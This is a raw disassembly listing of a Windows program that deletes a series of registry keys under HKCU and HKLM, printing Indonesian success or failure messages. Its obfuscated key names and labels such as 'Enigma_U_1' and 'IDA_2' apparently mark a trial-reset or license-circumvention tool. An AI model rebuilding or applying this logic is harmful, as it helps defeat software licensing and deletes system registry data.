mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov word [esp + 0x48], ax
call ebx
test eax, eax
jne 0x402268
push esi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push ecx
test eax, eax
jne 0x402652
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push str.Kunci_registri_berhasil_dihapus.
push edx
call fcn.00404470
add esp, 0xc
jmp 0x40266f
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push eax
push str.Gagal_menghapus_kunci_registri._Error_code:
push edx
call fcn.00404470
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [0x40d00c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x406368
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.Fid1
call fcn.00401100
add esp, 4
mov edi, 0x2fea6950
lea esi, [esp + 0x1c]
call fcn.00404840
push 0x40d00c
mov esi, eax
xor eax, eax
push 0xf003f
push eax
push esi
push 0x80000002
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
call ebx
test eax, eax
jne 0x402535
push esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x402722
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push eax
push ecx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.Kunci_registri_berhasil_dihapus.
push ecx
call fcn.00404470
add esp, 0xc
jmp 0x402745
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push edx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push str.Gagal_menghapus_kunci_registri._Error_code:
push eax
call fcn.00404470
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [0x40d00c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x406368
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.Fid2
call fcn.00401100
add esp, 4
mov edi, 0x344ebf62
lea esi, [esp + 0x1c]
call fcn.00404880
push 0x40d00c
mov esi, eax
xor eax, eax
push 0xf003f
push eax
push esi
push 0x80000001
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
call ebx
test eax, eax
jne 0x402268
push esi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push ecx
test eax, eax
jne 0x4027f2
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push str.Kunci_registri_berhasil_dihapus.
push edx
call fcn.00404470
add esp, 0xc
jmp 0x40280f
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push eax
push str.Gagal_menghapus_kunci_registri._Error_code:
push edx
call fcn.00404470
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [0x40d00c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x406368
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.Fid3
call fcn.00401100
mov edi, 0x4066f8
add esp, 4
sub edi, 0x1c5b1761
lea esi, [esp + 0x1c]
call fcn.004048c0
push 0x40d00c
mov esi, eax
xor eax, eax
push 0xf003f
push eax
push esi
push 0x80000001
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
call ebx
test eax, eax
jne 0x402535
push esi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x4028c8
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push eax
push ecx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.Kunci_registri_berhasil_dihapus.
push ecx
call fcn.00404470
add esp, 0xc
jmp 0x4028eb
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push edx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push str.Gagal_menghapus_kunci_registri._Error_code:
push eax
call fcn.00404470
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [0x40d00c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x406368
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.Fid4
call fcn.00401100
mov edi, 0x406724
add esp, 4
sub edi, 0xa5553e5
lea esi, [esp + 0x1c]
call fcn.00404900
push 0x40d00c
mov esi, eax
xor eax, eax
push 0xf003f
push eax
push esi
push 0x80000002
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov word [esp + 0x54], ax
call ebx
test eax, eax
jne 0x402268
push esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push ecx
test eax, eax
jne 0x4029ab
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push str.Kunci_registri_berhasil_dihapus.
push edx
call fcn.00404470
add esp, 0xc
jmp 0x4029c8
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push eax
push str.Gagal_menghapus_kunci_registri._Error_code:
push edx
call fcn.00404470
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [0x40d00c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x406368
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.IDA_1
call fcn.00401100
add esp, 4
mov edi, 0x1d5cfe0e
lea esi, [esp + 0x74]
call fcn.00404940
push 0x40d00c
mov esi, eax
xor eax, eax
push 0xf003f
push eax
push esi
push 0x80000002
mov dword [esp + 0x88], eax
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], eax
mov byte [esp + 0x9c], al
call ebx
test eax, eax
jne 0x402535
push esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x402a81
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push eax
push ecx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.Kunci_registri_berhasil_dihapus.
push ecx
call fcn.00404470
add esp, 0xc
jmp 0x402aa4
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push edx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push str.Gagal_menghapus_kunci_registri._Error_code:
push eax
call fcn.00404470
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [0x40d00c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x406368
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.IDA_2
call fcn.00401100
mov edi, 0x406774
add esp, 4
sub edi, 0x5712e351
lea esi, [esp + 0x1c]
call fcn.00404980
lea ecx, [esp + 0x1c]
mov esi, eax
call fcn.00403da0
push 0x40d00c
push 0xf003f
push 0
push esi
push 0x80000002
call ebx
test eax, eax
jne 0x402268
push esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push ecx
test eax, eax
jne 0x402b43
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push str.Kunci_registri_berhasil_dihapus.
push edx
call fcn.00404470
add esp, 0xc
jmp 0x402b60
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push eax
push str.Gagal_menghapus_kunci_registri._Error_code:
push edx
call fcn.00404470
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [0x40d00c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x406368
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.IDA_3
call fcn.00401100
mov edi, 0x4067a0
add esp, 4
sub edi, 0x7137f658
lea esi, [esp + 0x1c]
call fcn.004049c0
push 0x29
lea ecx, [esp + 0x20]
push 0
push ecx
mov esi, eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x40d00c
push 0xf003f
push 0
push esi
push 0x80000002
call ebx
test eax, eax
jne 0x402268
push esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push ecx
test eax, eax
jne 0x402c06
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push str.Kunci_registri_berhasil_dihapus.
push edx
call fcn.00404470
add esp, 0xc
jmp 0x402c23
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push eax
push str.Gagal_menghapus_kunci_registri._Error_code:
push edx
call fcn.00404470
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [0x40d00c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x406368
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.IDA_U_1
call fcn.00401100
add esp, 4
mov edi, 0x1d5cfe0e
lea esi, [esp + 0x74]
call fcn.00404940
push 0x40d00c
mov esi, eax
xor eax, eax
push 0xf003f
push eax
push esi
push 0x80000001
mov dword [esp + 0x88], eax
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], eax
mov byte [esp + 0x9c], al
call ebx
test eax, eax
jne 0x402535
push esi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x402cdc
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push eax
push ecx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.Kunci_registri_berhasil_dihapus.
push ecx
call fcn.00404470
add esp, 0xc
jmp 0x402cff
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push edx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push str.Gagal_menghapus_kunci_registri._Error_code:
push eax
call fcn.00404470
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [0x40d00c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x406368
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.IDA_U_2
call fcn.00401100
mov edi, 0x406774
add esp, 4
sub edi, 0x5712e351
lea esi, [esp + 0x1c]
call fcn.00404980
lea ecx, [esp + 0x1c]
mov esi, eax
call fcn.00403da0
push 0x40d00c
push 0xf003f
push 0
push esi
push 0x80000001
call ebx
test eax, eax
jne 0x402268
push esi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push ecx
test eax, eax
jne 0x402d9e
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push str.Kunci_registri_berhasil_dihapus.
push edx
call fcn.00404470
add esp, 0xc
jmp 0x402dbb
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push eax
push str.Gagal_menghapus_kunci_registri._Error_code:
push edx
call fcn.00404470
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [0x40d00c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x406368
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.IDA_U_3
call fcn.00401100
mov edi, 0x4067a0
add esp, 4
sub edi, 0x7137f658
lea esi, [esp + 0x1c]
call fcn.004049c0
push 0x29
lea ecx, [esp + 0x20]
push 0
push ecx
mov esi, eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x40d00c
push 0xf003f
push 0
push esi
push 0x80000001
call ebx
test eax, eax
jne 0x402268
push esi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push ecx
test eax, eax
jne 0x402e61
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push str.Kunci_registri_berhasil_dihapus.
push edx
call fcn.00404470
add esp, 0xc
jmp 0x402e7e
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push eax
push str.Gagal_menghapus_kunci_registri._Error_code:
push edx
call fcn.00404470
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [0x40d00c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x406368
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.Enigma_U_1
call fcn.00401100
add esp, 4
mov edi, 0x42311a9
lea esi, [esp + 0x1c]
call fcn.00404a00
push 0x40d00c
mov esi, eax
xor eax, eax
push 0xf003f
push eax
push esi
push 0x80000001
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov byte [esp + 0x4c], al
call ebx
test eax, eax
jne 0x402535
push esi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x402f2d
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push eax
push ecx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.Kunci_registri_berhasil_dihapus.
push ecx
call fcn.00404470
add esp, 0xc
jmp 0x402f50
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push edx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push str.Gagal_menghapus_kunci_registri._Error_code:
push eax
call fcn.00404470
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [0x40d00c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x406368
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.Enigma_U_2
call fcn.00401100
add esp, 4
mov edi, 0x25ca1ad5
lea esi, [esp + 0x1c]
call fcn.00404a40
push 0x40d00c
mov esi, eax
xor eax, eax
push 0xf003f
push eax
push esi
push 0x80000001
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov word [esp + 0x4c], ax
call ebx
test eax, eax
jne 0x402268
push esi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push ecx
test eax, eax
jne 0x403002
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push str.Kunci_registri_berhasil_dihapus.
push edx
call fcn.00404470
add esp, 0xc
jmp 0x40301f
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push eax
push str.Gagal_menghapus_kunci_registri._Error_code:
push edx
call fcn.00404470
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [0x40d00c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x406368
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.Enigma_M_1
call fcn.00401100
add esp, 4
mov edi, 0x42311a9
lea esi, [esp + 0x1c]
call fcn.00404a00
push 0x40d00c
mov esi, eax
xor eax, eax
push 0xf003f
push eax
push esi
push 0x80000002
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov byte [esp + 0x4c], al
call ebx
test eax, eax
jne 0x402535
push esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x4030ce
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push eax
push ecx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.Kunci_registri_berhasil_dihapus.
push ecx
call fcn.00404470
add esp, 0xc
jmp 0x4030f1
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push edx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push str.Gagal_menghapus_kunci_registri._Error_code:
push eax
call fcn.00404470
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [0x40d00c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x406368
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.Enigma_M_2
call fcn.00401100
add esp, 4
mov edi, 0x25ca1ad5
lea esi, [esp + 0x1c]
call fcn.00404a40
push 0x40d00c
mov esi, eax
xor eax, eax
push 0xf003f
push eax
push esi
push 0x80000002
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov word [esp + 0x4c], ax
call ebx
test eax, eax
jne 0x402268
push esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push ecx
test eax, eax
jne 0x4031a3
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push str.Kunci_registri_berhasil_dihapus.
push edx
call fcn.00404470
add esp, 0xc
jmp 0x4031c0
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push eax
push str.Gagal_menghapus_kunci_registri._Error_code:
push edx
call fcn.00404470
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [0x40d00c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x406368
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39